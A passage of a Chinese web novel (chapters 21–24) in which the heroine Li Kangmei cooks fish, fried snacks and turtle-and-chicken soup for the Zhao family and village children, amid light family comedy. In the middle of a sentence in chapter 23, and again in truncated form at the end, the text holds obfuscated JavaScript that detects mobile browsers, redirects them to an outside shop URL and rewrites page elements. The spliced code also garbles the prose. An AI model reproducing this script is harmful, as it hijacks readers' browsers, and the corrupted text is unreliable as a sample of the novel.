其实赵三姐还想要打趣李美娘是宋小月的未来嫂子，想说这对姑嫂一家人，感情好，但是念着自己没多久时间也要出嫁了，她怕李抗美和宋小月反过来打趣她，就遗憾把这话藏到了心里。 见着宋小月半开着门，赵三姐还误会了。 “小月，你这是一刻 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赵三姐原本也是不怎么喜欢李抗美的，但是自打李抗美露了一手，她有所求，改了态度和人亲近起来之后，才发现李抗美压根没有四堂妹在背后蛐蛐人时说得那么不堪。 不过七八日光景，她和李抗美，连带着她姐还有二嫂，感情都是与日俱增。 “不说这个了，今日绣线买得鲜亮，三姐你教教我，你那胖娃娃是怎么绣出来的，让我也为你的百子被出一份力！”李抗美一手握住赵三姐的手，另一手牵起宋小月的小手，嘴上一边说着转移话题的话语，一边把两人拉着往屋里走。 他们进屋没多久，赵二姐也回来了，手里还提着一尾黑鱼。 “二姐，你买的鱼？”赵三姐问。 赵二姐摇头：“不知道谁挂在咱家门口的，我就提进来了。” 这尾黑鱼个头还不算小，少说也有四五斤。 “谁忘在咱家门口的？” “咱家这是后门，来往都是街坊邻居，而且那鱼是挂在咱家门口的那株橘子树上的，爷爷的橘子树都被压弯了。” 赵二姐和赵三姐一问一答的时候，李抗美心里有数了。 “我可能知道这鱼是谁挂门口的……” 几个渔家小子前脚来赵家找她，后脚赵二姐在家门口白捡一条大黑鱼，这黑鱼是谁任门口的，不言而喻。 赵二姐听完李抗美的话，把手上这尾黑鱼扔进了水缸里。 “没准还是真是他们，这么大一条鱼，这几个小孩背着家里人拿过来的吧，也不是亲戚什么的，美娘明天你去问问他们，是的话，要不把鱼还给他们，要不把钱给他们，免得几个孩子回家挨打。” 李抗美点点头：“我知道的。” 她也是有打算，明天就去渔船那边见见几个小孩。 不过宋小月听了她二表姐的话，视线随着黑鱼一起落到水缸，才吃饱没多久，感觉自己的肚子又饿了。 她可是听她爹说过，美娘姐姐做鱼的手艺有多好！ 她好久没有吃鱼了。 想吃鱼…… 21. 第 21 章 疑似黑小孩送来的鱼不能吃，但今天也没让宋小月失望。 她爹宋木匠又和对门的何大爷出去垂钓了，水桶里大大小小装了十几条鱼，原本是想着最近自家小闺女、小儿子老是在丈母娘家吃饭，太麻烦丈母娘家了，正好赵老太太喜欢吃鱼，钓来的鱼就分大半给赵家，自个家里拎几条回去，够吃就可以了。 反正他们家现在正经吃饭的也只有他夫妻两个，十几条鱼没准吃到臭都吃不完，倒是丈母娘家人丁兴旺，这十来条鱼没几日就能吃完。 宋木匠过来送鱼，顺便也是把宋小月接回家去。 来时他家婆娘可是交代过了，一定要把小月接回来，小姑娘家家一天天在外面不着家，野没边了！ 结果宋木匠一到了赵家，见到水井旁正在洗菜的李抗美还有赵三姐几个，口水哗一下流出来，腿脚也像生在丈母娘家里一般，一点路都走不动了。 宋木匠是个好吃的，还同赵家老太一样爱吃鱼，要不也不会三天两头拽着对门亲家去钓鱼。 他看到李抗美，就想起那天在渔船上，李抗美给他和老何做的那条大蒜烧河鲇，口水也是一股一股往外冒。 要不是他及时吸溜了一下，没准这口水还真要流出嘴，新女婿的时候都没出过的丑，要当公爹了的时候补上。 宋木匠嘴馋李抗美做鱼的手艺，再加上宋小月这磨人的小闺女在旁边叽歪两句，以及丈母娘和孩她大舅母的热情邀请之下，宋木匠这老女婿就顺理成章留在丈母娘家吃饭了。 宋驰那边已经习惯，溜达去家里给老娘报信，在老娘的“你们姓宋的都是饿死鬼投胎吗！家里那么多饭，做了给谁吃！”怒吼声中，屁股蛋擦着鞋底子逃出了榕树巷。 原本还要去通知一下他大哥，但宋驰心知他大哥叫了也是白叫，干脆就不费这个功夫了。 而且少了大哥这个饭桶，他在外婆家也能多吃点好吃的！ 宋彦可不知道自家小弟在后背是怎么编排他的，也不知道自己下衙回家，将面对的是什么。 宋大娘：宋四郎你就是个罪魁祸首，早早把人家姑娘娶回家，你妹，你弟，还有你爹，还能不回家吃饭？！ 不过这些宋彦都不知道，只在他踏着暮色回到家中的时候才发现，迎接他的只有亲娘的黑脸以及无情的通知：“明天哪里都不准去，回家吃剩饭！” 赵家。 宋木匠提过来的十几条鱼里面也有几条黑鱼，大小也不输于赵二姐从家门口捡的那条。 李抗美看看早上宋小月拎过来的香椿，心里已经有了决断。 几条黑鱼去骨去皮，利落的手法看得围着李抗美打下手的陈氏满眼崇拜。 自打那日李抗美教陈氏揉面之后，陈氏看李抗美的眼神比看自家男人的眼神还要灼热。 赵三姐这几天已经跟着李抗美学了好几道家常菜的做法，现在除了新菜，其他的菜都是赵三姐掌勺。 没有李抗美做得好吃也没关系，反正都是自家人吃，重要的是让赵三姐有多多练习的机会。 李抗美在片鱼的时候，赵三姐就在灶上炒菜，刘氏、陈氏、赵二姐在旁边洗洗切切，赵大娘见着小儿媳比从前开朗许多，也不计较什么，自己接过了她原本烧火的位置，听从女儿调配，要大火给大火，要小火给小火。 厨房里，四五个女人在忙活，就算二十几个人吃饭，菜一道道如流水般上桌。 赵三姐从灶台上下来之后，终于轮到李抗美这个大师傅一展身手。 锅里放入四碗水待煮沸后，放入山椒、辣椒、盐、磨碎的虾皮、酱油、陈醋等调料制作酸辣汁。 香椿在沸水中过一遍立即捞出沥水。 再取一锅清水煮沸，水中加盐、料酒调味，再将上浆微微腌制过的鱼片下入锅中汆至断生即可。 笊篱捞出鱼片，盘中垫上香椿，鱼片放在香椿上，再浇上酸辣汁，撒上葱花、辣椒段，红红绿绿点缀装点，至此这道带着香椿独特味道的香椿酸辣鱼就大功告成了！ “开饭，开饭！”小屁孩急不可耐，第一个冲到了饭桌前面，在自己平日坐的位置乖乖坐好。 不过这小屁孩可不是宋小月，而是赵家小舅的小儿子赵彬。 赵彬时年七岁，平日里也是个招猫逗狗的主，学堂散学也不会乖乖回家，非要在外面玩痛快了，别人都家去吃饭了，他才会依依不舍回家来。 不过自打李抗美主宰赵家的饭桌之后，赵彬吃饭再也不用人喊了，散学回家最积极的就是他。 不积极不行，要是那天他回家晚了，好吃的就要被宋小月这个馋丫头吃光了！ 赵彬：宋小月真讨厌，有自己家不回，偏偏每天来他家吃饭！ 若是宋小月知道赵彬心里想的，一定会反驳回去：赵彬才是真讨厌，吃的是我未来嫂子做的好吃的，还敢同我唧唧歪歪！ 小孩桌上馋鬼孩子心思各异，却阻挡不了大人桌的宋木匠在他老丈人动了第一下筷子之后，迅速把自己的筷子伸向桌上的香椿酸辣鱼！ 如果不是顾忌自己这是在老丈人家里，宋木匠一筷子下去能夹走三块鱼片，哪里像现在这样委委屈屈，只敢先夹一筷子香椿，然后才敢朝着馋了他许久的鱼肉下手。 鲜、嫩——这是黑鱼片入嘴的第一感觉。 嘴巴轻轻嚼了一下，薄薄的鱼片便好似一汪鲜气化在唇齿之间！ 好吃啊！ 如果不是对面就座着老丈人，宋木匠恨不得仰天长啸一番，才对得起这一口美味！ 黑鱼的鲜美，香椿独特的香味，再加上酸辣的料汁，一口鱼片下去，嘴里仿佛在开一条鱼的盛宴，这对宋木匠这样爱吃鱼的人来说，说是人间美味，都埋没了这一盘香椿酸辣鱼！ 宋木匠：天宫美味，不过如此！ 眼角和嘴角同时泛起晶莹，迷蒙中，宋木匠悄悄瞧向女眷那一桌——如此儿媳，宋四郎那臭小子什么时候才能开窍，早点把人娶回家，也叫他享享 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一份给他那慧眼识儿媳的婆娘，另外一份给对面和他一样爱吃鱼的何老头。 当然他要先消消食，等肚子里空一点出来，再过去和何老头一起吃，酸辣鱼下酒，不管是酒还是鱼，他都要多吃点，这可是他未来儿媳妇孝敬他的，他可要多吃点！ 只不过宋木匠嚣张只有这片刻，因为他拎着鱼要去对门何家的时候，他家婆娘一句话，立刻让他熄灭了朝何老头炫耀的心思。 宋大娘：“你就显摆吧！我看你能显摆多久！美娘还不是你儿媳妇，你儿子不愿意娶人家，何老头小儿子可没有娶亲！” 宋木匠抱紧怀里的香椿酸辣鱼，目露慌张：“不能吧！咱儿媳可是和四郎众目睽睽之下，这样那样了！” 宋大娘斜他一眼：“哪样啊？！美娘可还是个黄花大闺女，也就名声有碍，亲家夫妇都是不爱面子，只爱实惠的性格，就算嫁不了他小儿子，他不还有个二婚的侄子吗？膝下还没有子嗣，我看配美娘正合适！” “不合适！四郎抱了人家黄花大闺女就要负责，他胆敢不负责，他老子我打断他这小兔崽子的狗腿！”宋木匠越是心慌，说话声音就越大。 对门何大爷都听到了他的声音，从围墙冒出一个头来：“木匠！不是约了我喝酒吗？还不来？！上好的梨花白，你没喝过吧！” 要是放在之前，宋木匠定然要和何大爷炫耀一下李抗美给他做的鱼，顺便得意地告诉何大爷，那天钓鱼遇见的小姑娘，可是他宋木匠的未来儿媳妇，以后他想怎么吃鱼，就怎么吃鱼。 但经过宋大娘的“敲打”之后，宋木匠抱紧了怀里的香椿酸辣鱼，就算何大爷主动问起来这鱼是打哪儿来的，他都像个锯嘴葫芦，半分消息都不愿意透露给老伙计。 生怕这老小子，同自家婆娘说得一般，起了贼心，觊觎他会烧好菜好鱼的未来儿媳妇！ 22. 第 22 章 第二日一大早，李抗美早市上买了肥肉，葱姜蒜等调料去了破渔船。 而昨天来找她的孩子们，则是被熬猪油的味道，吸引来的。 “美娘姐姐！美娘姐姐！”一声声此起彼伏围绕着李抗美，李抗美把手中的猪油渣分了下去。 为首的黑小孩手捏着李抗美给的猪油渣，没有第一时间送到嘴里，反而仰着头看向李抗美：“美娘姐姐，你昨天知道我们过去了吗？”黑黑的小脸滚烫发热，如果不是肤色过深，绝对会让人第一时间发现黑小孩脸上浅浅的害羞红晕。 李抗美点点头，问他：“门口的黑鱼是你们送来的吗？” 黑小孩有点不好意思，轻声“嗯”了一声。 他们不想让美娘姐姐认为他们是想占美娘姐姐的便宜，而且看人家城里人上门都提着东西，所以才钓了一条鱼，想送给美娘姐姐当礼物，接下来的事情也好开口，没想到昨天被那个城里的白胖小孩一打搅，没叫他们见着美娘姐姐，就把那条鱼挂在赵家门口的小树上了。 李抗美和黑小孩聊了几句，知道那条黑鱼是小孩自己钓到的，不是偷偷拿家里的，就放心许多。 她朝着一众小孩笑了笑，“既然你们已经付了报酬了，今天我就给你们做点好吃的吧！” 之前就已经做过的小酥鱼必不可少，看着几个孩子拎过来的螺蛳，李抗美打算给他们炒一部分，剩下的叫他们把螺肉挑出来，她可以给他们也炒一罐螺蛳酱，当然不可能像赵家那般豪横，还在里面放猪肉，猪肉没有，猪油渣倒是可以放一点进去，味道也不会差到哪里去！ 李抗美还带了一小袋面粉过来，加盐调和，反复揉三次，放在湿布下醒发一个小时左右。 搓成条状，再拉成细细的长条盘放在油中，用两条筷子撑开，放入油锅炸至酥脆，热气腾腾的油炸撒子就出锅了。 李抗美带的面不多，但做出来的撒子也足够这群渔家小孩们一人一口尝个味道了。 李美娘家的破渔船就停在横桥不远处，从榕树巷出来往赵家的方向去，饶不开横桥，宋彦每日上衙也都要经过这座横桥，巡逻的时候也要经过横桥。 孩子欢呼声引来横桥上路过人的目光。 还是宋彦和何大川这一对搭档。 何大川靠着横桥围栏，伸长了脑袋往破船的方向瞧：“哟！四哥，还是小嫂子，你说她怎么这么喜欢孩子？可真有小孩缘啊！咱第几次看到她身边围着小孩了？” 宋彦冷脸扫了一眼破船的方向，完全不搭腔，只快步走下横桥。 李抗美就着炸过撒子的油锅，又炸了一大锅小酥鱼，不仅仅有她今天早上下的鱼笼，还有小孩们带过来的。 当然这些猫猫鱼都是孩子们处理好了，才拿过来给她调味的，要不李抗美就只有一双手，也做不了这么多的活计，又要炸撒子，又要处理猫猫鱼。 而这些渔家小孩们，也早就已经被李抗美教出来了，小小的手挤起猫猫鱼的内脏比李抗美这个师父还要麻利。 后头的螺蛳也照着李抗美之前的要求，把屁股砸掉了。 这些螺蛳他们放在清水里养了好多天，肚子里头都是干干净净的，一点污泥都没有。 起锅烧油，葱椒蒜、料酒为配角，一大锅酱爆螺蛳出锅，小孩们也早就准备好从家里拿出来的钵头，去盛美娘姐姐发给他们的酱爆螺蛳。 美娘姐姐可是说了他们给的那条大黑鱼就算做交换的报酬了，这次的香酥小鱼还有酱爆螺蛳，全部都分给他们，还给他们做那什么螺蛳酱！ 几个小孩也都是知恩图报的，心里许下承诺，下次要是他们钓到鱼，一定要给美娘姐姐送过去！ 小孩们心中，美娘姐姐给的美味可比这河道中随处可见的土腥大鱼要值钱多了。 给孩子们炒完一锅低配版的螺蛳酱之后，李抗美也打算带着剩下的猪油回赵家了。 孩子们手上装着酱爆螺蛳还有香酥小鱼的钵头已经送回家去了，还有一整罐螺蛳酱不好分，就先放在他们认可的孩子王那边，然后一个个跟在李抗美的身后，像一只只跟着大鸭子的小鸭子，舍不得李抗美就这么离开。 “美娘姐姐，你下次什么时候回来啊……”他们听大人说过，美娘姐姐是要嫁人了，以后就是城里人了，可以住在房子里，再也不用回船上了。 “你们想要吃我做的东西的话，就来找我，还和以前说好的换法，清明前我都要螺蛳，清明后你们可以用猫猫鱼换，要是有别的大鱼也可以。”李抗美同几个渔家小孩道。 几个小孩依依不舍送别李抗美，一送送出好几里，就差没给李抗美直接送到赵家了。 “好了，好了，别送了，快中午了，你们爹娘找不到你们该着急了。”李抗美本来是想说你们爹妈要找你们吃午饭了，但是陡然想起，这些渔家孩子一日只有两餐，他们是不吃午饭的。 李抗美话音才落，就听到河岸渔船的方向，传来一个气喘吁吁的小孩声音：“美娘姐姐，你等等我！” 李抗美顺着声音的方向望去：“泥鳅？怎么了？” 来人正是同李抗美换吃食的孩子中的一个，这群孩子人数不少，李抗美还真没有发现其中少了一个人。 那个名叫泥鳅的黑小孩手里提着一只甲鱼，冲着李抗美的方向一送：“美娘姐姐，你给我的螺蛳还有小酥鱼都被我爹拿走了，他说不能白吃姐姐你的东西，这只老鳖是我爹给你的。”小孩说话的时候，眼里还带着泪光，看来对于老爹抢走自己吃食的事情，十分难过。 李抗美也没矫情说什么不收的话，接过泥鳅递过来的甲鱼放到自己的篮子里，摸摸小孩的脑袋安慰他：“别难过了，你爹给的老鳖姐姐收下了，下回姐姐来的时候，多给你分一份好吃的行不！” 得了李抗美的承诺，泥鳅马上转涕为笑了。 挥别一众可爱的渔家小孩，李抗美心情着实不错，此时却不知回到赵家要面对怎样的修罗场。 原是她同渔家小孩玩耍分食的场景不仅仅只有路过的宋彦还有何大川见着了，还有一个宋小月，去赵家找李 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这她应该怎么回答呢？ 李抗美心想这孩子可能是在家里受了什么委屈，或者和人拌了几句嘴，再看向她湿濡濡的脸庞，还有眼睫上欲落未落的泪珠，李抗美一下就心软了。 和何大川说的一样，李抗美确实是一个非常喜欢孩子的人，如果不是有祖传的手艺，她没准会去做一个保育员，或者是小学老师。 所以就算现在李抗美自己也不确定到底会不会做宋小月的嫂子，她还是选择对着此刻委屈的宋小月撒一个善意的谎言：“姐姐最喜欢的小孩肯定是可爱的小月啊！其他孩子哪里有小月这么可爱，姐姐一定只会给小月当嫂子。” 快到中午饭点，奉母亲大人的命令，过来揪妹妹回家吃饭的宋彦，脚步还没踏入赵家大门就止步了。 ——这个女人，不知廉耻！ 看着赵家院门处轻轻热热互相拥抱着，久久不肯放开彼此的一大一小，穿着公服，身姿笔挺的男人冷声开口：“宋小月，回家吃饭。” 还在高兴美娘姐姐说的话的宋小月听到这熟悉的声音，身子立刻僵硬了。 目光循着声音的方向望去，正好看到她家大哥一张能冻死人的冷脸。 才笑了没有片刻的小脸又立刻哭丧了起来。 宋小月是偷偷跑到赵家来的。 昨晚上她回家的时候，她娘就抓着她，在她的屁股上打了两下，并且告诉她：再偷偷溜到外婆家吃饭的话，就叫大哥抓她回家打屁股！ 而家里的剩饭，就是她今天的任务。 因为家里的剩饭，就是她们父子几个没有听娘的劝，害得娘多做了饭剩下来的。 宋小月心里想着爹和大哥小哥多吃几口，就能把她的那份吃完了，她还想来外婆家吃美娘姐姐做的好吃的。 没想到娘竟然来真的。 真的把大哥派出来，抓她回家打屁股了…… 23. 第 23 章 宋小月作为宋家最小的孩子，爹宠娘爱，无法无天，都胆敢和她小哥顶嘴呛舌，但独独怕一人，那就是她那个最爱冷脸的大哥宋彦。 依依不舍退出美娘姐姐温暖又柔软的怀抱，把小手塞进大哥冷硬的手掌中，就这样还要遭到大哥的嫌弃。 “自己走。” 面对坏大哥，宋小月不敢作怪，乖乖抽手，亦步亦趋跟在大哥身后。 要说宋小月为什么独独害怕她大哥一人，还要追溯到她三两岁的时候，那个时候也不知道她小哥做了什么坏事，惹了大哥生气，她大哥二话不说就抽了阿爹挂在墙上的黄荆条，揍得她小哥嗷嗷直叫。 晚上阿娘给小哥上药的时候，宋小月又在旁边悄悄围观，就看到她小哥的屁股蛋子条条杠杠红得好似要滴血，从那以后，宋小月惹谁都不敢惹她大哥。 惹小哥生气最多被扯扯脸，惹大哥生气，可是屁股蛋子要遭遇的！ 所以现在就算再不情愿，她大哥发话了，宋小月也不敢反抗，只有委委屈屈一步三回头，不舍地看着李抗美。 小丫头这副模样实在让人担心，李抗美不放心地追了几步，冲着宋彦的背影喊道：“有什么话好好说，打孩子是不对的。” 李抗美现在还是误会宋小月刚刚的眼泪是因为在家受了委屈，特别是刚刚宋彦出现时候的表情，更让她误会了，所以才有这么一句。 宋小月听到李抗美的话，小眼一亮，要不是大哥就在身旁散发着淫威，小丫头恨不得立刻就高呼一声“美娘姐姐说得对极了！”，虽然不能在言语上表达自己对美娘姐姐话语的支持，但宋小月已经尽量用自己的眼神向她美娘姐姐表达自己深深的感激之情了。 李抗美充满担忧的话让疾步离开的宋彦脚步一顿，但他没有回头，仍旧一副谁谁谁都欠了他八百万的腔调：“我宋家如何教孩子，和你无关吧。” 宋小月一听大哥的话，心中就咯噔一下。 屁股危矣！ 李抗美皱起了眉头：这个男人怎么这样！ 她张口，语气是不容拒绝的坚定：“小月，我送你回家！” 宋彦听到这个女人要跟来，此刻才转过身来，弯腰逮住宋小月的小手，把小丫头跩到自己身后，然后才冷眼看着眼前比自己矮了一个头还不止的心机女人：“小月自有我这个大哥照料，不必外人操心。” 这是拒绝李抗美要送小月回家的意思。 宋小月听到她大哥蕴含着怒气的声音，也不想多让她美娘姐姐操心，怯怯从她大哥腰后露出个小脑袋：“美娘姐姐，你回去吧，我不用你送……” 小孩闭眼，再睁眼后，声音都带着一丝悲壮：“小哥会为我求情的！”大不了让她小哥替她挨了这顿打。 宋小月想到自己还有小哥分担，屁股好似也没有那么疼了，只是看向李抗美的眼神里好似多了一分说不清道不明的同情：美娘姐姐怎么办啊！我大哥那么凶，看来以后肯定是个爱打老婆的！ 但她又想让美娘姐姐当她的嫂子…… 唉！怎么办呢！ 年纪小小的宋小月，人生第一次有了自己不可解决的烦恼。 送走一步三回头的宋小月，李抗美转身回了赵家，正好赵二姐出来看到自家院门洞开，还在院门口捡到一只篮子，翻开篮子上的粗布一看，她稀奇道：“这一天天是怎么了？昨天捡条黑鱼，今天捡只老鳖！” 正好李抗美过来，便道：“我方才去见过人了，昨日那鱼果然是他们送的，我给那些孩子炸了点鱼，炒了点螺蛳，这老鳖也是他们送的。” 赵二姐笑：“这些孩子倒是挺会来事的！” 把篮子提到厨房，赵二姐问李抗美：“这老鳖是养着还是？” 李抗美扒拉了一下被草绳捆着的甲鱼：“瞧着有些蔫吧，趁着没死，杀了吃了吧！” 赵三姐正在旁边洗菜，见着李抗美进来，两手在围裙上擦干水渍，走过来看热闹：“美娘，你还会杀老鳖？这玩意不是咬住人就不松口了吗？” 原身李美娘是没有杀过甲鱼的，但是李抗美她会啊！ 作为厨师之家的传人，最基础的便是要熟悉各类食材，不管便宜的，还是贵的，有足够多的食材练手，才能培养出一个顶级厨师。 若只是纸上谈兵，终究还是差了一层。 赵三姐有心和美娘学厨艺，所以听到美娘要杀老鳖，菜也不洗了，过来跟着美娘学一手，应当怎么处理老鳖。 就见李抗美解开老鳖身上的草绳，把老鳖翻过来，当老鳖伸长了脖子想要借力翻身的时候，李抗美快刀伸过去，一下就沿着老鳖脖颈深处，给它来了个利索的抹脖。 放干净血之后，把整只老鳖放在清水中漂洗，直到再洗不出任何一丝血水。 把老鳖从水中捞出，沿着裙边用刀划开，让老鳖壳身分离。 鳖壳掀开，李抗美让赵三姐看鳖壳内部，告诉她里头的内脏那些是能吃的，哪些是不能吃的。 “这两片黑膜是老鳖的肺，这不能吃，直接用手撕就可以了，用刀割反而割不干净，留点黑膜下来，整只老鳖就会腥臭。” 赵二姐就在旁边看着，惊呼一声：“怪不得，我炖出来的老鳖都有一股味道，我每次弄这个膜都弄不干净，我那公婆都说凑合着吃，炖出来又腥又臭，我一点都吃不下。” 李美娘笑笑：“这黑膜也是腥臭来源之一。” 答应了赵二姐一句，李抗美又继续处理手上的老鳖。 “两只腰子能吃。”说着，李美娘利索把老鳖的腰子摘下来扔进碗里，“这肝也能吃。” 腰子和肝都摘了，里头黑绿的胆就特别的显眼。 赵三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12284193|128892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐抢答：“这苦胆也要摘了吧！”鱼的苦胆就不能吃，要是戳破了，还会让整条鱼都变苦。 李抗美把甲鱼的胆摘下：“其实老鳖的胆不苦，反而有一股甜味，要是吃不习惯，这胆用来泡酒吃也不错。” 二人点头：“确实不错，滋阴补肾、清热解毒、补气养血。”到底家里是开药铺的，赵二姐和赵三姐虽然没有跟着爹正经学医术，但也通药理。 这块甲鱼胆就另放到一边。 “肠子还有旁边的黄油也不能吃。”李抗美扯下肠子，又用刀一点一点把甲鱼身上的黄油脂肪割得干干净净，“这黄油也是腥臊味道的来源。” 赵二姐在旁边听着，又有话说了。 “啊！我先前那婆母，还说这黄油补身体，死活不让我割了呢！”这又是黑膜，又是黄油，她婆家炖出来的甲鱼，能不腥臭难入口嘛！ 此时李抗美只是笑笑，没有搭话，继续教赵三姐处理这甲鱼。 “头、爪，屁股都不能吃，直接剁掉，也不要剁得太多，把肉剁没了。”就听咚咚咚咚咚咚六声，砧板上的甲鱼就去头，去尾，去爪尖了。 不能吃的部分处理完了，接下来就是处理甲鱼身体上覆盖的那层膜。 李抗美冲着赵三姐道：“老鳖身上有一层膜，这层膜就像鱼身上的鳞片，如果这层膜不去除的话，煮出来的甲鱼也是又硬又臭。” 赵二姐：“啊！”她前婆家炖的甲鱼又中招了。 “那要怎么去除老鳖身上的这层鳞片？”赵三姐十分好学。 就要做饭了，赵家的锅炉一直热着，李抗美直接从锅里舀了一瓢热水到盆中，把老鳖直接泡了进去。 “很简单，往热水里泡一泡就可以了。”她说。 估摸着时间差不多，李抗美把甲鱼从热水里提了起来，然后从甲壳开始，在边缘轻轻一揭，一小张半透明的黄皮就从甲壳上撕了下来。 褪下这层“鱼鳞”的甲鱼，肉眼可见的白净了不少。 李抗美突然想到什么，补了一句：“对了，这热水也不能太热，滚水下去的话，这皮也没有那么容易撕，最好加点热水……”李抗美思考了一下，给了赵三姐一个度：“就和你平时洗脚的热水温度差不多就可以了。” 赵三姐：感动，美娘你可真是个贴心的师父。 撕完甲壳撕头尾四肢，肚子也不能放过，力求把整只甲鱼完完全全蜕掉一层皮。 看着被扒了一层皮的甲鱼，赵三姐发出感叹：“这老鳖肚子可真白啊！” 李抗美开始剁甲鱼，桌子都被震得DuangDuangDuang，一直到背壳，李抗美才停下刀：“壳有点硬，这刀不太行，壳就不拆了，就这样吧。” 赵三姐：“好，你说了算。” 赵二姐心想：只要不腥臭，整只炖都可以。 24. 第 24 章 这厢李抗美刚处理好手上这只甲鱼，那边赵大娘手里提着两只乌鸡进来，见着两个女儿和李抗美齐齐围着一盆处理好的甲鱼，笑了一声：“巧了啊！你们舅舅听说大郎媳妇坐月子，捉了两只乌鸡，还有一只老鳖过来，我还在头疼不会做这老鳖呢！” 中午就做乌鸡炖甲鱼，两只乌鸡，两只甲鱼，放在砂锅里一锅炖了，正好把多出的那只甲鱼，拿给刚学会处理甲鱼的赵三姐联手。 乌鸡炖甲鱼做出来，半锅给王氏这个正在坐月子的，另外半锅家里其他人也分着吃。 不是赵家抢产妇吃食，而是赵家在柳溪也算是殷实人家，媳妇坐月子的时候，每天一锅鸡汤、猪蹄什么的完全不吝啬，但一整只鸡熬出来的鸡肉加鸡汤，儿媳妇一个人也吃不完，过夜就不新鲜了。 所以赵家一般都是把产妇要吃的盛出来之后，剩下的有多就大家一起吃，不够就给家里老人孩子分一碗。 第二天产妇要吃，那就新鲜再做。 所以那日赵四妹说家里下蛋母鸡就这么几只，李抗美废蛋，叫他们家里人都少吃了蛋这事，就是她找茬的笺子，所以赵外婆郑冬冬和赵大娘才会那么生气，她们是觉得家里的姑娘性子歪了。 为了叫家里人都吃上一盅乌鸡炖甲鱼，赵大娘还特地叫赵二姐去前面铺子还有药房送了信，今天中午的晚饭迟半个时辰吃。 全家女眷出动，赵三姐和赵大娘一起杀甲鱼，李抗美和小舅妈刘氏还有赵二嫂陈氏一起杀鸡，蜕鸡毛。 因为赵四妹出来总要说些让大家都不高兴的话，郑冬冬直接发话，以后厨房的活计不用赵四妹帮忙了，如今赵四妹都被拘在赵老太的房间里，坐在赵老太还有郑冬冬的跟前做鞋子，做一家人换季要穿的衣裳。 厨房里，一众人忙得热火朝天。 人多，事情也做得快。 李抗美手脚麻利，陈氏虽然性子腼腆，但只要是她会干的活，干起活来绝对不输给任何一个人。 倒是刘氏，做事情比不上李抗美和陈氏，插在她们两个勤快姑娘中间，像个磨洋工的。 李抗美和陈氏一人捉了一只乌鸡杀，她就在旁边做些烧水，提桶的活计，倒了烫鸡毛，拔鸡毛的时候，她又嫌浸在热水里的鸡有味道，磨磨蹭蹭的时候，李抗美和陈氏两个人已经把鸡处理干净了。 李抗美拎着两只鸡去剁块，提着鸡脚左右打量一番，赞扬陈氏：“二嫂，你这鸡弄得真干净啊！” 陈氏也就是在李抗美面前的时候话多一些，她腼腆笑笑：“小时候我娘在大户人家帮厨，把我也一起带着，她就叫我帮着一起烧火，大点就是洗菜，杀鸡，杀鱼。” 说完，陈氏又躲到了灶台后面，帮忙李抗美烧火。 烧开两锅热水，分别把甲鱼和乌鸡焯水，出水后洗净血水。 另起一个小灶放上陶锅，放入焯过水的乌鸡和甲鱼，陶锅中放水没过乌鸡和甲鱼，再放入盐、姜、葱、料酒、胡椒粉，大火烧开之后撇去浮沫后转小火慢炖。 出锅之前再加入红枣、桂圆和枸杞即可。 炖煮乌鸡炖甲鱼的时候，正好也空出手来处理中午的其他菜。 当乌鸡炖甲鱼的香味飘满整个院子的时候，众人的肚子也已经饿得咕咕叫了，毕竟今天中午的午饭比平常要迟了半个时辰。 赵大哥一刻钟前就从药房里回来了，原本在房间里逗襁褓中的儿子玩，等到那股馋死人的鸡汤香味从厨房飘到屋里的时候，他实在受不了了，借口坐月子媳妇的名义，去到灶间，隔着门冲里头喊：“娘，饭好了没有，要还不能吃，先盛碗鸡汤给丽姑，孩子饿得哇哇哭，丽姑肚子饿得直叫唤，孩子也吃不着奶！” 刚生了赵家长孙，还在坐月子的大儿媳妇王丽娘可是赵家最大的功臣，这女人的月子要是没有坐好，估计能念叨婆家一辈子。 赵大娘听到儿子声音紧忙从灶房里出来：“好了！好了！马上就好，娘先给丽娘冲碗红糖鸡蛋垫垫肚子，鸡汤马上好，午饭也马上好！” 等待让美味发酵，等一碗乌鸡炖甲鱼终于吃到口中的时候，众人在顷刻间就被这鲜美的汤征服，比起这一刻送入口中的美味，之前饿着肚子等待的时间也算不上什么了。 汤的味道是比较清淡的，或许是加了红枣、桂圆、枸杞的缘故，汤的味道带着一股清甜，但这股甜味却不喧宾夺主，更让人影响深刻的还是鲜味。 尝过了汤之后，再咬一口肉。 将近一个时辰的小火慢炖，把鸡肉炖到软烂脱骨，甲鱼腻滑绵软，用筷子轻轻一夹，那还带着微微弹性的甲鱼裙边就被夹断。 一筷子甲鱼肉送入口中，那和普通鱼肉、猪肉完全不同的口感，让人眼前一亮。 甲鱼裙边肉质丰厚滑嫩，胶质的口感叫人欲罢不能。 赵二哥是个喜欢啃骨头的，碗里这一块裙边肉还是舀骨头的时候不小心带到碗里的，等他吃到的时候，才知道自己错过了什么美味，再看向锅里的时候，哪里还有剩下的甲鱼裙边肉？ 他爷爷赵大夫，活的久，也格外会吃。 锅里总共就两只甲鱼裙边，老爷子一个人至少捞走了一半。 赵二哥哀怨眼神看向他爷爷的时候，老人家还在嚼裙边肉呢。 赵大夫：“怎么？二郎想吃鸡腿？” 赵大娘替小儿子回答公公：“爹，你自己吃，锅里那么多肉呢！够他吃的了！” 赵大夫却一筷子把自己汤碗里的鸡腿夹到了赵二哥碗里：“二郎多吃点，下午抓紧干活，杏林堂那边紧要这批药，等我和你爹出去收药了，家里就靠你和大郎照顾了！” 赵大夫也不单单只给二孙子夹，往大孙子碗里也夹了一块鸡翅。 赵二哥心里苦，嘴里馋得直流口水，往常吃不到的鸡腿现在好像也不是什么美味了。 他暗自下定决心：下回他一定要自己抓只老鳖回来吃！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 